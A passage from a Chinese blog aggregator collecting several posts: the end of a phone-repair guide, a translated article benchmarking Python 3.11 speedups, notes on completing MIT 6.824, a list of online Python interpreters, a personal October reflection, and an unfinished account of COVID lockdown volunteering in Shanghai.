后盖拆开以后,看到这断掉的信号线,就打算给接上,准备直接上焊锡的,结果一看,尼玛这么细的同轴电缆,接起来是没戏了,只能买配件的。鉴于指纹模块也是坏的,就一并换了吧。同时我拿到手机的时候,电池是亏电的,尝试充电发现无法充进去,只能连着充电器,估计尾插也有点问题,以防万一,连尾插小板一起买一个。而要换的屏幕是我同事之前直接买好的,一起连手机给我了。所以迅速和同事确认了一下是不是确定要更换,并把配件报价告诉她。得到肯定以后,万能某宝下单,就等配件到达继续开拆了。

3.jpg

4.jpg


拆除主板

主板上层塑料盖,依次打掉螺丝即可,螺丝一长一短两种,分开存放。不用记具体哪个孔是长的哪个是短的,深孔浅孔一眼就能看的出来。保护盖拆掉以后就是拔出排线。图中1、2分别是两根信号线。3是指纹模块排线。中间两根左边的FHD的是屏幕排线,右边是尾插的排线。右上角是前置摄像头模组排线。电池排线我在拆后盖的时候就用镊子从缝里面取掉了。拆除所有排线以后就能取下主板了,务必先把SIM卡槽先取出来,我忘了取卡槽,恁是半天没取下主板,浪费5分钟。

5.jpg


拆除尾插小板

尾插一样有个保护盖,一圈螺丝打掉就行,也分长短。图中1、2就是前面提到的信号线,拔掉主板排线就能取掉尾插。尾插取下的时候留意下扬声器,更换新的尾插板,插上两根信号线,将信号线从预留的边缝里面走线走好即可,然后尾插盖板螺丝重新装回。

6.jpg


安装指纹识别模块

没啥好说的,把原指纹模块拆下来,然后将新的带排线指纹模块装回去,看图将线从中框外部插进去,指纹模块到位以后,然后用锁扣卡住,锁扣就是拆指纹模块的那个金属限位器,两头有两个螺丝,我忘了拍图,仔细看下指纹模块两端有个卡脚,看上面那个买回来的配件图上。然后将锁扣对准卡脚压下去,上螺丝就行。

7.jpg


装新屏幕,复原手机

没啥说的,将屏幕排线从中框空隙中塞过去,卡到主板上就行。然后就是主板装回,装上电池,装上护板,上螺丝。

8.jpg


通电检测

所有配件装回以后,先不急装后盖,插电检查充电情况,开机测试,指纹模块测试。系统音量、震动,前后置摄像头,距离传感器,地图定位等等都做下测试。确实没有问题后即可安装后盖了

9.jpg


打胶装后盖

将后盖边缘残胶及中框残胶做一下清理,沿后盖边缘均匀打一圈密封胶,然后将后盖卡到位,上皮筋五花大绑,静置几个小时就大功告成了。

10.jpg


by 西枫里 at November 14, 2022 02:12 PM

November 12, 2022

pythoncat

万万没想到,除了香农计划,Python3.11还有这么多性能提升!

众所周知,Python 3.11 版本带来了较大的性能提升,但是,它具体在哪些方面上得到了优化呢?除了著名的“香农计划”外,它还包含哪些与性能相关的优化呢?本文将带你一探究竟!

作者:Beshr Kayali

译者:豌豆花下猫@Python猫

英文:https://log.beshr.com/python-311-speedup-part-1

转载请保留作者及译者信息

Python 3.11 在几天前发布了,它照例带来了很多新特性,例如异常组、细粒度的错误位置与堆栈回溯、标准库对 TOML 的解析支持,当然,还有备受大家期待的由 faster CPython 项目带来的速度提升。
根据 pyperformance 的基准测试,CPython 3.11 比 CPython 3.10 平均快 25%。这项改进的原因之一是 Guido 命名的“香农计划”(即 faster CPython)。对于 3.11 版本,这个计划在两个主要方向进行了大量优化:启动时和运行时。
除此之外,Python 3.11 还包含有其它的优化,这些优化不属于香农计划。
在本文中,我将详细介绍 3.11.0 稳定版中常规优化的细节(即非 faster CPython 项目的改进)。
(译注:作者表示将另写一篇文章介绍 faster CPython 的改进细节,届时,我也将继续翻译,敬请期待!)

目录

  • 优化了一些 printf 风格 % 的格式化代码
  • 优化了 Python 大整数的除法
  • 优化了数字 PyLongs 求和
  • 精简列表的扩容操作,提升了 list.append 性能
  • 减少了全 unicode 键的字典的内存占用
  • 提升了使用asyncio.DatagramProtocol 传输大文件的速度
  • 对于 math 库:优化了 comb(n, k) 与 perm(n, k=None)
  • 对于 statistics 库:优化了 mean(data)、variance(data, xbar=None) 与 stdev(data, xbar=None)
  • 纯 ASCII 字符串的 unicodedata.normalize(),提升到常数时间

优化了一些 printf 风格 % 的格式化代码

使用格式化的字符串字面量(formatted string literals)是最快的格式化字符串的方法。
Python 3.10 中的一个简单基准测试:
$ python -m pyperf timeit -s \
  'k = "foo"; v = "bar"' -- '"%s = %r" % (k, v)'
.....................
Mean +- std dev: 187 ns +- 8 ns
但是使用 f-string 似乎要快 42%:
$ python -m pyperf timeit -s \
  'k = "foo"; v = "bar"' -- 'f"{k!s} = {v!r}"'
.....................
Mean +- std dev: 131 ns +- 9 ns
优化性能的手段是将简单的 C 风格的格式化方法转换为 f-string 方法。在 3.11.0 中,只转换了 %s、%r 和 %a 三种,但是目前有一个待合入的 pull request,将会支持:%d、%i、%u、%o、%x、%X、%f、 %e、%g、%F、%E、%G。
例如,下面是 Python 3.11 中相同基准测试的结果:
$ python -m pyperf timeit -s \
  'k = "foo"; v = "bar"' -- '"%s = %r" % (k, v)'
.....................
Mean +- std dev: 100 ns +- 5 ns
大约快了 87%!当然,3.11 中其它的优化对此也有影响,比如更快的解释器启动时间。

优化了 Python 大整数的除法

在 Python 3.10 中:
python -m pyperf timeit -s 'x=10**1000' -- 'x//10'
.....................
Mean +- std dev: 1.18 us +- 0.02 us
在 Python 3.11 中:
python -m pyperf timeit -s 'x=10**1000' -- 'x//10'
.....................
Mean +- std dev: 995 ns +- 15 ns
大约快了18%。
这项优化源自 Mark Dickinson 的一个发现,即编译器总会生成 128:64 的除法指令,尽管处理的是 30 位的数值。

即使在 x64 上,Python 的除法也有些残缺。假设是 30 位数字,则多精度除法所需的基本结构是 64 位除以 32 位的无符号整数除法,产生一个 32 位的商(理想情况下还会产生一个 32 位余数)。有一个 x86/x64 指令可以做到这一点,也就是 DIVL。但是如果不使用内联汇编,当前版本的 GCC 和 Clang 显然做不到从 longobject.c 中发出该指令——它们只会在 x64 上使用 DIVQ(128 位除以 64 位的除法,尽管被除数的前 64 位被设为零),而在 x86 上则使用固有的 __udivti3 或 __udivti4。

——Mark Dickinson(全文)

优化了数字 PyLongs 求和

这里有一个 issue,它发现 Python 2.7 中 sum 的速度比 Python 3 快得多。不幸的是,在某些条件下,3.11.0 似乎仍然如此。
Python 2.7:
$ python -m pyperf timeit -s 'd = [0] * 10000' -- 'sum(d)'
.....................
Mean +- std dev: 37.4 us +- 1.1 us
Python 3.10:
$ python -m pyperf timeit -s 'd = [0] * 10000' -- 'sum(d)'
.....................
Mean +- std dev: 52.7 us +- 1.3 us
Python 3.11:
$ python -m pyperf timeit -s 'd = [0] * 10000' -- 'sum(d)'
.....................
Mean +- std dev: 39.0 us +- 1.0 us
Python3.10 和 3.11 之间的区别在于,通过在 sum 函数的快速加法分支中内联对单个数字 PyLongs 的解包,可以提升在单个数字 PyLongs 上调用 sum 的性能。这样做可以避免在解包时调用 PyLong_AsLongAndOverflow
值得注意的是,在某些情况下,Python 3.11 在整数求和时仍然明显慢于 Python 2.7。我们希望在 Python 中通过实现更高效的整数,获得更多的改进。

精简列表的扩容操作,提升了 list.append 性能

在 Python 3.11 中,list.append 有了显著的性能提升(大约快 54%)。
Python 3.10 的列表 append:
$ python -m pyperf timeit -s \
  'x = list(map(float, range(10_000)))' -- '[x.append(i) for i in range(10_000)]'
.....................
Mean +- std dev: 605 us +- 20 us
Python 3.11 的列表 append:
$ python -m pyperf timeit -s \
  'x = list(map(float, range(10_000)))' -- '[x.append(i) for i in range(10_000)]'
.....................
Mean +- std dev: 392 us +- 14 us
对于简单的列表推导式,也有一些小的改进:
Python 3.10:
$ python -m pyperf timeit -s \
  '' -- '[x for x in list(map(float, range(10_000)))]'
.....................
Mean +- std dev: 553 us +- 19 us
Python 3.11:
$ python -m pyperf timeit -s \
  '' -- '[x for x in list(map(float, range(10_000)))]'
.....................
Mean +- std dev: 516 us +- 16 us
译注:记得在 3.9 版本的时候,Python 优化了调用 list()、dict() 和 range() 等内置类型的速度,在不起眼处,竟还能持续优化!

减少了全 unicode 键的字典的内存占用

这项优化令 Python 在使用全为 Unicode 键的字典时,缓存的效率更高。这是因为使用的内存减少了,那些 Unicode 键的哈希会被丢弃,因为那些 Unicode 对象已经有哈希了。
例如,在 64 位平台上,Python 3.10 运行结果:
>>> sys.getsizeof(dict(foo="bar", bar="foo"))
232
在 Python 3.11 中:
>>> sys.getsizeof(dict(foo="bar", bar="foo"))
184
(译注:插个题外话,Python 的 getsizeof 是一种“浅计算”,这篇《Python在计算内存时应该注意的问题?》区分了“深浅计算”,可以让你对 Python 计算内存有更深的理解。)

提升了使用asyncio.DatagramProtocol 传输大文件的速度

asyncio.DatagramProtocol 提供了一个用于实现数据报(UDP)协议的基类。有了这个优化,使用asyncio UDP 传输大文件(比如 60 MiB)将比 Python 3.10 快 100 多倍。
这是通过计算一次缓冲区的大小并将其存储在一个属性中来实现的。这使得通过 UDP 传输大文件时,asyncio.DatagramProtocol 有着数量级的提速。
PR msoxzw 的作者提供了以下的 测试脚本

对于 math 库:优化了 comb(n, k) 与 perm(n, k=None)

Python 3.8 在math 标准库中增加了 comb(n, k) 和 perm(n, k=None) 函数。两者都用于计算从 n 个无重复的元素中选择 k 个元素的方法数,comb 返回无序计算的结果,而perm 返回有序计算的结果。(译注:即一个求组合数,一个求排列数)
3.11 的优化由多个较小的改进组成,比如使用分治算法来实现 Karatsuba 大数乘法,以及尽可能用 C 语言unsigned long long 类型而不是 Python 整数进行comb计算(*)。
另外一项改进是针对较小的 k 值(0 <= k <= n <= 67):
(译注:以下两段费解,暂跳过)

对于 0 <= k <= n <= 67, comb(n, k) always fits into a uint64_t. We compute it as comb_odd_part << shift where 2 ** shift is the largest power of two dividing comb(n, k) and comb_odd_part is comb(n, k) >> shift. comb_odd_part can be calculated efficiently via arithmetic modulo 2 ** 64, using three lookups and two uint64_t multiplications, while the necessary shift can be computed via Kummer’s theorem: it’s the number of carries when adding k to n - k in binary, which in turn is the number of set bits of n ^ k ^ (n - k). *

One more improvement is that the previous popcount-based code for computing the largest power of two dividing math.comb(n, k) (for small n) got replaced with a more direct method based on counting trailing zeros of the factorials involved. (*).
Python 3.10:
$ python -m pyperf timeit -s \
  'import math' -- 'math.comb(100, 55)'
.....................
Mean +- std dev: 3.72 us +- 0.07 us

# ---

$ python -m pyperf timeit -s \
  'import math' -- 'math.comb(10000, 5500)'
.....................
Mean +- std dev: 11.9 ms +- 0.1 ms
Python 3.11:
$ python -m pyperf timeit -s \
  'import math' -- 'math.comb(100, 55)'
.....................
Mean +- std dev: 476 ns +- 20 ns

# ---

$ python -m pyperf timeit -s \
  'import math' -- 'math.comb(10000, 5500)'
.....................
Mean +- std dev: 2.28 ms +- 0.10 ms

对于 statistics 库:优化了 mean(data)、variance(data, xbar=None) 与 stdev(data, xbar=None)

3.11 优化了statistics模块中的 meanvariancestdev 函数。如果入参是一个迭代器,则会直接用于计算,而不是先将其转换为列表。这种计算方法 的速度比之前的快了一倍。*
Python 3.10:
# Mean
$ python -m pyperf timeit -s \
  'import statistics' -- 'statistics.mean(range(1_000))'
.....................
Mean +- std dev: 255 us +- 11 us

# Variance
$ python -m pyperf timeit -s \
  'import statistics' -- 'statistics.variance((x * 0.1 for x in range(0, 10)))'
.....................
Mean +- std dev: 77.0 us +- 2.9 us

# Sample standard deviation (stdev)
$ python -m pyperf timeit -s \
  'import statistics' -- 'statistics.stdev((x * 0.1 for x in range(0, 10)))'
.....................
Mean +- std dev: 78.0 us +- 2.2 us
Python 3.11:
# Mean
$ python -m pyperf timeit -s \
  'import statistics' -- 'statistics.mean(range(1_000))'
.....................
Mean +- std dev: 193 us +- 7 us

# Variance
$ python -m pyperf timeit -s \
  'import statistics' -- 'statistics.variance((x * 0.1 for x in range(0, 10)))'
.....................
Mean +- std dev: 56.1 us +- 2.3 us

# Sample standard deviation (stdev)
$ python -m pyperf timeit -s \
  'import statistics' -- 'statistics.stdev((x * 0.1 for x in range(0, 10)))'
.....................
Mean +- std dev: 59.4 us +- 2.6 us

纯 ASCII 字符串的 unicodedata.normalize(),提升到常数时间

对于 unicodedata.normalize() 方法,如果提供的入参是纯 ASCII 字符串,则通过 unicode 快速检查算法 迅速返回结果。这项检查使用的是PyUnicode_IS_ASCII 实现。
Python 3.10:
$ python -m pyperf timeit -s \
  'import unicodedata' -- 'unicodedata.normalize("NFC", "python")'
.....................
Mean +- std dev: 83.3 ns +- 4.3 ns
Python 3.11:
$ python -m pyperf timeit -s \
  'import unicodedata' -- 'unicodedata.normalize("NFC", "python")'
.....................
Mean +- std dev: 34.2 ns +- 1.2 ns
最后的话:
  • 我写这篇文章是为了加深自己对 Python 3.11 最新成果的认识。如果内容有错,请通过email 或者 Twitter告诉我。(译注:本翻译是出于促进自己学习及加强理解的目的,若有错漏,欢迎指正!)
  • 附 HackerNews 上的评论
  • 在下一篇文章中,我将分析 faster CPython 项目带来的优化点。敬请期待!

November 12, 2022 12:00 AM

November 09, 2022

ray-eldath

深入 MIT 6.824:实现 LeaseRead 和全异步 shardkv

「生活,就是当你忙着做其它计划时,发生在你身上的事」:要问起开始学 MIT6.824 的缘由,这是一句恰如其分的描述。一个学期结束,原本的计划是深入研究一下编程语言和形式化验证,然后换到一个和操作系统关系更大的岗位;不知不觉却变成了写个数据库,在做操作系统相关的工作前先试试存储的方向——刚放假时我还对自己说,我是绝对不会喜欢上存储的。也许人们对自己还没下过苦功的事情,就是提不起劲的吧?

于是春节假期开始,明显一年比一年淡漠的气氛(今年甚至没看拜年祭)环绕,倒也是为思考提供了较好的场所:没有多少亲戚前来拜访,也就没有多少生硬蹩脚的玩笑和紧张尴尬的时刻需要消化。到现在,整一个月,算是把 MIT6.824 彻底完成了。

老实说,这并不如我想象中的难。在上手之前总觉得 824 的高不可攀,非顶尖学府的高手不可;但在自己突然完成之后却发现虽然过程并不是「出乎意料地」顺利,但产出确实是出乎意料地好。

我已开源了这份实现。这一实现稳定通过了 Lab 1 到 Lab 4 的每一个测试点(至少 1000 次,通常 2000 次;其中 Linearizability2B 通过了 10000 次——这么做是因为在提出 porcupine 的文章中,作者说TA “没有找到任何一个线性一致性测试不能发现的错误”),完成了 Lab 4 的两个 Challenges(即标题中的全异步 shardkv),同时还额外实现了 LeaseRead with noop 的优化,使得读请求无需经共识层——本文中提出的解决方案或许是对如何在 MIT 6.824 中实现这一优化的较好参考。另一方面,我谨慎地组织了代码结构,保证代码的粒度适宜——既不引入过多重复,又不引入过多函数(是不是想起了洗试管的原则?嘿嘿),每一次修改都执行了充分的回归测试,并且非常谨慎地操作 squash 和 cherry-pick,保证修改最少、最必要,且和我完成 Lab 的进度严格对应:这意味着读者可以从代码的提交历史中明确看到某个 Lab 和下一个 Lab 之间应要做哪些修改。

November 09, 2022 06:40 PM

November 02, 2022

pythoncat

如何免安装使用 Python?推荐 17 个在线的 Python 解释器!

安装 Python 很容易,但或许你正在用智能手机/平板电脑,在用不允许安装软件的电脑,或者因为其它原因无法安装 Python。那么,如何通过免安装的方式使用 Python 呢?

作者:Al Sweigart

译者:豌豆花下猫@Python猫

英文:https://inventwithpython.com/blog/2022/10/30/17-online-python-ides-and-interactive-shellsrepls

转载请保留作者及译者信息!

本文将介绍 17 个免费的 Python 解释器和交互式 Shell(也称为 REPL),你可以从 Web 浏览器中直接访问。(译注:国内访问部分网站不稳定,可以多试试,或者借助其它辅助上网的工具)
基于浏览器的 Python 解释器有一些缺点:
  • 不能使用 open() 函数读写文件,不能建立网络连接。
  • 不允许运行长时间的或者耗费大量内存的程序。
  • 无法安装第三方模块,如 NumPy、Pandas、Requests、PyAutoGUI 或 Pygame(尽管有些会预装这些模块)。
  • 有些 Python 特性可能被禁用了;在使用时需要个别注意。
  • 有些服务需要你注册一个免费帐户;如果你不想处理垃圾邮件,可以用 10 Minute Email 创建一次性的邮件帐户。
尽管有以上缺点,但是用它们来练习编写 Python 代码是足够的。
下面就是 Python 在线服务网站的列表。这不是一篇匆忙整理的标题党文章;我仔细检查了每一个网站,并按照个人的喜好顺序罗列出来。
注:本文不包含 Pypy、Jython、Nutika、IronPython 等知名的 Python 解释器,因为它们都不是在线服务。想了解这些解释器,可查看:11 个最佳的 Python 编译器和解释器

1、Python Tutor

我最喜欢的基于浏览器的 Python 文件编辑器就是 Python Tutor(Python 导师)。Python Tutor 内置了一个调试器,允许每次执行一行,并查看程序的单步执行情况。不仅如此,它还记录了程序在每一步的状态,因此你也可以后退。这是大多数调试器没有的特性。
Python Tutor 网站还支持 Java 8、Javascript ES6 和 C/C++(使用 GCC 9.3 编译器)。主要的缺点是,程序在运行时会有所限制(因为在结果返回到你的浏览器之前,程序是在它们的服务器上运行的),但是在大多数的练习例子中,你不会遇到什么问题。

2、Python Anywhere

PythonAnywhere 是最流行的基于浏览器的解释器之一。你必须先注册,是免费的。你可以存储 Python 脚本,或者无需登录而只使用它们的 IPython 交互式 Shell。(译注:毕竟是 Anaconda 出品,能秒杀大部分竞品)
这个服务允许你从一个虚拟硬盘中读写文件,它已经安装了许多流行的 Python 第三方模块。
它支持几个不同的 Python 版本,另外,它还被用于 www.python.org 网站上的交互式 Shell。

3、Replit

Replit 需要注册一个帐户才能使用。用户界面有点复杂,因为它们有好几块功能,包括导航网站的帮助系统。该站点还有用于 C、C++、Java、Javascript 和其他几种语言的在线编译器。
Replit 还有一个 APP,可以在智能手机和平板电脑上使用。

4、Brython

Brython 可以让 Web 浏览器像运行 JavaScript 一样运行 Python。一般在 Web 页面上用 JavaScript 做的事情,都可以用 Brython 来做。这意味着你在运行程序时没有内存或 runtime 的限制,因为它们是在你自己的计算机上运行。缺点是浏览器在加载网页时,必须先下载 6 M 的 Brython 代码。
你可以提前下载 Brython 到电脑上,并离线运行。首先,从 GitHub 上的 Brython 发布页面下载最新的版本(例如目前的 Brython-3.11.0.zip)。在解压后的目录中,创建一个名为 console.html 的文本文件(或任意以 .html 为后缀的名称),并写入以下内容:
<!doctype html>
<html>
<head>
    <script type="text/javascript" src="brython.js"></script>
    <script type="text/javascript" src="brython_stdlib.js"></script>
    <style>
    .codearea {
        background-color:#000;
        color:#fff;
        font-family:'Oxygen Mono', Consolas, 'Liberation Mono', 'DejaVu Sans Mono', monospace;
        font-size:14px;
        overflow:auto
    }
    </style>
</head>

<body onload=brython({"debug":1}) ><!-- remove the 1 to leave debug mode -->
    <noscript>Please enable Javascript to view this page correctly</noscript>

    <textarea id="code" class="codearea" rows="20" cols="100"></textarea>

    <script type="text/python3">
        from interpreter import Interpreter

        # Start an interactive interpreter in textarea with id "code"
        Interpreter("code")
    </script>
</body>
</html>
当在计算机上打开这个 .html 文件时,你将得到一个可运行的 Python 交互式 Shell。

5、Google Colab

使用 Google 或 GMail 帐户,你可以访问这个 Jupyter Notebook 风格的 REPL,它提供了大量的内存和 CPU 资源。

6、Trinket

Trinket 是一个以教育为主的网站。你需要注册一个免费的帐户才能使用它,他们的交互式 Shell 还支持Turtle、Matplotlib 和其他模块,而许多在线 REPL 都不支持这些模块。

7、Python Fiddle

Python Fiddle 是一个简单的编辑器,允许你创建和运行 Python 脚本。它的用户界面太过丑陋了。。。(译注:不忍直视的页面!网站竟然支持两种语言,English与中文,我不经怀疑开发者的身份是……)

8、Programiz

Programiz 有一个简单的文件编辑器。它不能写文件,运行资源也有限。该网站还有用于 C、C++、Java、C#、Javascript 的编译器,以及一个用于 SQL 数据库和 HTML/CSS 的沙箱。

9、Ideone

Ideaone 有一个丰富的编辑器,支持包括 Python 在内的多种编程语言(甚至有 Pascal、Fortran、Prolog 和 Cobol 等较老的语言,以及 Brainfuck 和 Intercal 等深奥的编程语言)。
它只有一个支持编写和运行程序的编辑器(有 5 秒的运行时长限制),但没有交互式 Shell。相比于用它写 Python,如果你想练习不太流行的语言,Ideaone 会是个不错的选择。

10、SymPy Live Shell

一个 Jupyter Notebook 风格的 REPL,带有一个很小的用户界面,非常适合简略的代码。它完全在浏览器中使用 JupyterLite 运行 JupyterLab,而不是在服务器上运行。

11、OnlineGDB

一个不错的编辑器,有一个很好的用户界面,不会让人不知所措。运行时和内存似乎也相当多。我推荐这个。

12、W3Schools Python Shell

W3Schools 有一个简单的 Python 编辑器,支持基本的语法高亮。它有大约 10 秒的运行时间限制,但是如果你的程序超出时间,它不会报错。如果是简单的例子,用起来很好。

13、Python原理在线解释器

一个简单的文件编辑器,只能运行一些较为简单的代码。

14、Online Python 测试版

一个简单明了的 Python 编辑器,只能运行一些较为简单的代码。

15、TutorialsPoint

一个简单易懂的编辑器,有较多运行资源。

16、RexTester

这像一个业余项目,仅有极简的编辑器,有 5 秒的运行时间限制。它有其他语言的编译器,但网站难于浏览。

17、Portable Python

这不是一个基于浏览器的 REPL,而是一个 .exe 文件,可以在 Windows 上运行 Python,而无需安装任何东西。然而,该网站自 2013 年(以及 Python 3.2)以来就没有更新过,下载页面也不使用 HTTPS。由于可能有恶意软件,我不建议使用它。

18、在线版 VS Code

Visual Studio Code 是一个 Electron app,这意味着它可以作为一个普通的桌面应用程序,也可以基于浏览器来运行。浏览器版本有点受限,相比于其它在线解释器,使用这个在线 IDE 需要更陡的学习曲线。
不过,如果你愿意深入了解它,或者已经使用过 Visual Studio Code,那么可以试试这个基于浏览器的版本。
注:文中图片为译者所加。

November 02, 2022 12:00 AM

October 30, 2022

ihewro

十月结束

又快两个月没有写博文了。与其说好久没写博客,不如说时间过的真快。

八月过完一个没有任何波澜、惊喜的失望生日后,中秋结束后,几周后,国庆到来。

国庆过后,工作非常的忙。十月也是第三季度的最后一月,因此除了日常工作,还有新一季度的任务规划,各种会议。

能明显感受的是,如果一天接收到的飞书消息超过100条,就会感觉压力很大,会有一种一整天都在回消息而没有很多空闲时间用来开发的感觉。

十月下旬的时候,家里又出事情了。为这件事情,这是我第一次尝试心理咨询。字节有为员工提供免费的心理咨询服务,因此就尝试了。因为,我觉得我不说出来,总会为这件事抑郁的。事情发生的时候,想给朋友打电话。但是没有。因为朋友们都太忙了,不知道可以找谁。

那个周末约另一个朋友出来,第二天中午才回复我没空。他家的猫要绝育。

十月还有两个朋友过生日。工作后,与朋友联系越来越少,一方面工作让我忙到没有太多欲望找人聊天,另一方面,朋友呢,似乎也很忙,在忙自己的那个新的生活圈。

入职前,一个高中朋友说开学前来北京,没有来。他去广东读博了。暑假的时候说导师有活。我们上一次见面是2020年,我研一的时候。广东距离北京两千多公里,也许我们这辈子都见不到面了,又或者等我们再次见面了还不如不见面。

十二月初我现在住的房子就要到期了,十二月中旬我们也要搬工区,因此下个月又要开始找房子了。不过正好也能离开我租的房子了,年轻人租房的第一次坑——租loft公寓。

和我一起入职的校招生,十一月上旬准备换base,从北京到另一个城市了。我和他几乎同时开始实习的,前后差了两周,而且是同一个学校的。刚开始实习的时候,我们组只有我们两和另一个实习生。我和他关系最熟。后来入职的时间也差不多。我是一个不会社交的人,在他入职之前,我都是自己一个人去吃饭,因为我不知道和一群人说什么。他来了之后,我和他还有一些同事一起吃饭。渐渐的大家都熟了,现在一起吃饭的氛围也比之前好了很多。有点难受。

十月有一周几乎晚上9点半才下班,到家快10点。看看手机就到11点了。睡觉后第二天起床,周而复始,慢慢的开始适应这种程度的压力。

iPhone 14发布后,我的手机不争气的屏幕碎了几道横线,原因是骑电动车的时候,口袋没有拉紧,手机就和大地进行了亲密的接触,虽然屏幕有几道比较明显的划痕,但是仍然可以使用。因此,暂时不准备换手机了。因为一天大部分的时间都在电脑上,手机除了晚上休息之前会看看,使用的越来越少。

在工区的时候,随处看看,会发现大部分的手上都会有一个数码手表。Apple产品可以说是互联网人的心头好。我猜原因可能是Apple产品本身就代表了一种轻奢的属性。在这个压力如此大的职场中,也许大家都想买个更好的奖励一下自己。因此,我更警觉的避免自己陷入这种消费主义的陷阱。大家都同样的用着MacBook,Apple watch,AirPods ,AirPods Max,看上去都是同样的光鲜亮丽,才让我开始反省这些产品到底对自己有多大的价值(当然MacBook 作为生产力工具对我而言是价值很大)。

我大学的时候有的第一个AirPods1代,在去年的时候基本没法用了,因为电池用10分钟后,就会从满电到没电。之前考虑是重新换一下电池还是重新购买一个新的AirPods 2代。修电池需要200多,重新买一个大概不到700。最后的结论是不修,也不买。我有一根当初买手机附赠的有线耳机,为什么不能用有线耳机呢。当然能用,而且音质更好。

不管是Apple软件还是一些效率软件,总是披着一层美好生活的皮,他们的宣传图中喜欢咖啡,喜欢各种酷的事情。彷佛拥有了他们,就能和他们一样的酷的让自己的生活换层皮。这当然是不可能的。

十月更新了新的版本的handsome主题,希望新的标签和搜索能力可以给你带来更多的新鲜感和帮助。

新的季度会有更多一些有挑战的事情去做,而十月就这样过去了。

by 友人C at October 30, 2022 03:10 PM

October 23, 2022

anji66

魔都魔幻生活——我的抗疫经历

      断更半年,是那些不应该出现在人类世界的微观入侵者颠覆了生活所致,是那些原可以控制住混沌瘴疠的庙堂当权者错估了形势所害。而我们,在一波一波的封控中艰难的活着。不见草长莺飞二月天,不闻拂堤杨柳醉春烟,原是儿童散学归来早,只道忙趁东风放纸鸢。


三月封控打补丁

      年后,陆续爆发的疫情,魔都到处狼烟,一直号称的精准防控,科学防疫的魔都,也在不断的流调中疲于奔命。无论是公司附近,还是小区周边,不时的有地点被封控。该来的总是会来,终于轮到自己被封楼。封控在家时申请居家办公、叮咚美团抢菜就像生活变成了线上。解封上班后开会加班、菜场屯菜又回到线下烟火。随着三月下旬日趋严重的疫情,开始有不断的传言会封城,加上雌都此前快刀斩乱麻的效率,魔都谣言此起彼伏。我就在办公室呼吁同事照着一个礼拜的量进行屯菜。

      到后来众所周知的口天大嘴说魔都不会封个三五天,因为魔都不仅是魔都的魔都,更是巴拉巴拉的胡说了一通。这也直接造成了后来某副总来魔都后果断封城造成了很多人准备不足的一个原因。我清晰的记得3月29日下午我正在工作中,居委会通知我赶紧返回,小区封控,跟公司报备后,火急火燎的在回家的路上去了趟菜场,又屯了一周的菜。到4月1日原本鸳鸯锅的一半要解封的,竟然没解封,我就知道菜屯了两周的还是屯少了。

▼网图:囤满菜的冰箱

1.jpg


报名志愿者,参加社区志愿服务

      由于被封楼了,所以居民也无法外出,各种快递外卖也无法进楼,加上有被单独封户的,连家门都出不了。楼组长在楼栋群号召有没有志愿者可以参与抗疫帮忙。本着封控在家,时间自由,帮助邻里,力所能及的原则就报了个名,这一报,就干了半年,一直干到9月底,因工作时间的问题,渐渐退出了志愿服务。

▼穿上防护服全副武装的我

2.jpg


支援核酸检测

      志愿者的最主要的任务是协助居民参加核酸检测、维持秩序。前期魔都扫码一直是用健康云,健康云是每次核酸每次要登录生成核酸检测码,它也就难逃兄弟城市遇到的窠臼,延迟、卡顿、崩溃,志愿者一般在维持秩序的过程中帮助居民刷健康云,帮助老年人录入身份信息生成核酸码。到后面魔都又突换随申办生成核酸码,切换的过程也是一波三折,支付宝微信随申办三个途径,最后经过测试只有支付宝最快,好不容易前面健康云培养的用户习惯在随申办上又来了一遍,估计大数据中心的人也是过于自信,随申办前期仍然延迟、卡顿、崩溃三连。

      在维持秩序的过程中,会开通一些绿色通道,让腿脚不方便的老人和抱在手上的儿童优先核酸,绿色通道的队伍短,总是有不自觉的居民去插队,那时候我们志愿者和插队居民经常干嘴仗,也就导致我们被骂被嘲讽被诬陷成了常态。

      另一小部分志愿者会参与扫码,配合医护拆棉签、贴标签、封箱等采样辅助类工作,直到后来,援沪医疗队陆续离开后,魔都采样队伍大幅空缺,就由本地第三方医疗团队对社区内报名参与核酸采样培训的人进行培训考核,考核通过后就纳入由第三进行市场化管理,说人话就是后来常态化检测队伍大部分是这些人,他们是有钱拿的,所以我也不把他们定义为志愿者了。

▼我们核酸一号点位的志愿者伙伴

3.jpg

▼浙江援沪医疗队的白衣天使们

4.jpg

▼登陆了扫码采样系统的志愿者的手机

4-1.jpg


扫楼做抗原

      志愿者的第二项主要任务就是扫楼发抗原试剂,回收抗原登记检测结果。依稀记得从4月中旬开始,除了定期的核酸检测,每天还要进行一遍抗原自测。刚开始需要登记抗原自测者的姓名,身份照,地址信息,一栋楼72户人家,得几个小时,后来在志愿者的协调之下,改成登记户号,人数,回收抗原检测卡的形式,为了防止有人作弊,抗原采用现发现做的形式,但是发抗原时间通常在早上5点就开始,而六点半之前要上报结果,如果逐户盯着做,就无法报数据了,最后妥协的结果就是每次发不同厂商的抗原,然后选择相信居民的自觉性,从顶楼发完一楼,再从顶楼回收到一楼。如果发现有抗原异常的,那就让对方关好门,拨打居委电话,等待上门核酸,上门核酸无异常就继续居家隔离,如果核酸异常,那就打包行李去方舱吧。幸好,2个月全封闭下来,我们楼无异常,隔壁楼抓走好几个。

▼这是后来抗原结束后,收集的抗原试剂盒子(一个楼栋)

5.jpg


登记买菜购药需求

      4月前两周还好,大家多多少少都备了一些菜的,随着服务上门这个举措迟迟没有到位,很多居民家就断粮断药了。最疯狂的时候魔都都没有大车司机送货进来,一旦来了就出不去。后来政府在嘉兴和昆山建了两个大型中转仓,外地司机只要把挂车拉到中转仓,然后由魔都的司机和车辆去拉到市内。就这样才逐渐解决了供应的问题,自那以后,高速上全是大货排长队往上海方向调运物资,毕竟2500W人单日消耗量巨大。

      在物资短缺的那档口,各区提供保供企业名单,各居委会自行统计物资需求,交由保供企业配送。所以魔都前期相当一段时间都是居民自费委托居委统一向保供企业采购的,政府免费发放的物资那都是后话了。志愿者群体这个时候就是逐户登记各户需要购买的物资套餐,对没错,打包出售的物资套餐,套餐类型有限,几乎等同于没得选择。登记好后交给居委会统一采购。

      社区老年人是一个更为特殊的群里,一般患有老年病慢性病的,家里多多少少都会有常用的药,由于封控期间不能出门,所以很多老年人的救命药就中断了,前期混乱状态的,志愿者在各楼栋群和志愿者群互相咨询那些慢性病的常用药,谁家有多的可以救急。到后面组织专门的志愿者拿着通行证去外面医院和药店采购药品,我们需要登记需要用药的老年人的用药信息,包括药名、规格甚至直接拍摄药品包装。

▼居民团购的蔬菜礼包

6.jpg


搬运和分发物资

